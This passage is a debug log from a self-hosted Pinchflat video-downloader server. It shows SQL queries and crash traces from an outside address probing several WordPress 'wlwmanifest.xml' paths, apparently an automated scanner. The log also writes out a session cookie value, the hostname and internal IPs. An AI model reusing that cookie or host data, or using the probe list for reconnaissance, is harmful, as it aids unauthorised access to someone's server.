WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 11:19:17.995 [debug] QUERY OK source="media_items" db=4.3ms idle=4.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 11:19:17.995 [debug] QUERY OK source="tasks" db=0.1ms idle=9.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 11:19:17.996 [info] Sent 200 in 12ms 11:19:18.338 [info] GET //blog/wp-includes/wlwmanifest.xml 11:19:18.339 [debug] QUERY OK source="settings" db=0.1ms idle=351.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:18.339 [debug] QUERY OK source="settings" db=0.0ms idle=348.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:18.339 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:18.339 [error] #PID<0.7963.0> running PinchflatWeb.Endpoint (connection #PID<0.7962.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET //blog/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /blog/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7962.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//blog/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47450}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7963.0>, params: %{}, path_info: ["blog", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//blog/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1x4M9HlyXS8gAAwbB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7962.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//blog/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47450}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /blog/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7962.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//blog/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47450}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3N (truncated) 11:19:18.508 [info] GET //web/wp-includes/wlwmanifest.xml 11:19:18.508 [debug] QUERY OK source="settings" db=0.1ms idle=513.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:18.509 [debug] QUERY OK source="settings" db=0.0ms idle=513.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:18.509 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:18.509 [error] #PID<0.7965.0> running PinchflatWeb.Endpoint (connection #PID<0.7964.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET //web/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7964.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//web/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47460}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7965.0>, params: %{}, path_info: ["web", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//web/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1x41Ymx7iuy8AAwcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7964.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//web/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47460}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7964.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//web/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47460}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2t (truncated) 11:19:18.677 [info] GET //wordpress/wp-includes/wlwmanifest.xml 11:19:18.678 [debug] QUERY OK source="settings" db=0.1ms idle=463.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:18.678 [debug] QUERY OK source="settings" db=0.0ms idle=339.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:18.678 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:18.678 [error] #PID<0.7967.0> running PinchflatWeb.Endpoint (connection #PID<0.7966.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET //wordpress/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wordpress/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7966.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wordpress/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47468}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7967.0>, params: %{}, path_info: ["wordpress", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//wordpress/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1x5dxzi-V7GkAAwdB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7966.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wordpress/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47468}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wordpress/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7966.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wordpress/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47468}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchf (truncated) 11:19:18.846 [info] GET //website/wp-includes/wlwmanifest.xml 11:19:18.847 [debug] QUERY OK source="settings" db=0.1ms idle=507.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:18.847 [debug] QUERY OK source="settings" db=0.3ms idle=338.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:18.847 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:18.847 [error] #PID<0.7969.0> running PinchflatWeb.Endpoint (connection #PID<0.7968.0>, stream id 1) terminated Server: 